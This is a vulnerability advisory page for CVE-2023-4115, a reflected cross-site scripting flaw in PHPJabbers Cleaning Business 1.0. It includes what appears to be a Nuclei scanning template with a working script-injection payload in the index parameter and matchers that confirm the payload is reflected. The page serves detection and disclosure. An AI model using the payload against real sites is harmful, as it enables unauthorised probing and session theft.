CVE-2023-4115: PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting

2025-08-01 PHPJabbers Cleaning Business 1.0 PoC Public

Description

The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.

PoC

id: CVE-2023-4115

info:
  name: PHPJabbers Cleaning Business 1.0 - Cross-Site Scripting
  author: r3Y3r53
  severity: medium
  description: |
    The attacker can send to victim a link containing a malicious URL in an email or instant message can perform a wide variety of actions, such as stealing the victim's session token or login credentials.
  impact: |
    Unauthenticated attackers can inject malicious JavaScript through the index parameter to steal session tokens and credentials of cleaning business booking system administrators and customers.
  remediation: |
    Update PHPJabbers Cleaning Business Software to a version newer than 1.0 that properly sanitizes the index parameter in pjFront controller.
  reference:
    - https://www.exploitalert.com/view-details.html?id=39747
    - https://cxsecurity.com/ascii/WLB-2023080015
    - https://nvd.nist.gov/vuln/detail/CVE-2023-4115
    - https://vuldb.com/?ctiid.235962
    - https://vuldb.com/?id.235962
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
    cvss-score: 6.1
    cve-id: CVE-2023-4115
    cwe-id: CWE-79
    epss-score: 0.08422
    epss-percentile: 0.947
    cpe: cpe:2.3:a:phpjabbers:cleaning_business_software:1.0:*:*:*:*:*:*:*
  metadata:
    verified: true
    max-request: 1
    vendor: phpjabbers
    product: cleaning_business_software
  tags: cve2023,cve,xss,phpjabber,jabber,phpjabbers,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/index.php?controller=pjFront&action=pjActionServices&locale=1&index=%22%3E%3Cscript%3Ealert(document.domain)%3C/script%3E"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains(content_type, "text/html")'
          - 'contains_all(body, "Enquiry summary", "><script>alert(document.domain)</script>")'
        condition: and
# digest: 4a0a00473045022100bdbbb71a986735d4b392e97ea9754dd3a397fc6045f10c6cd65116795d1c8620022051e1bb84b375b6fa169c2a8791881b3bc6fb077a067140c876ff889705769109:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities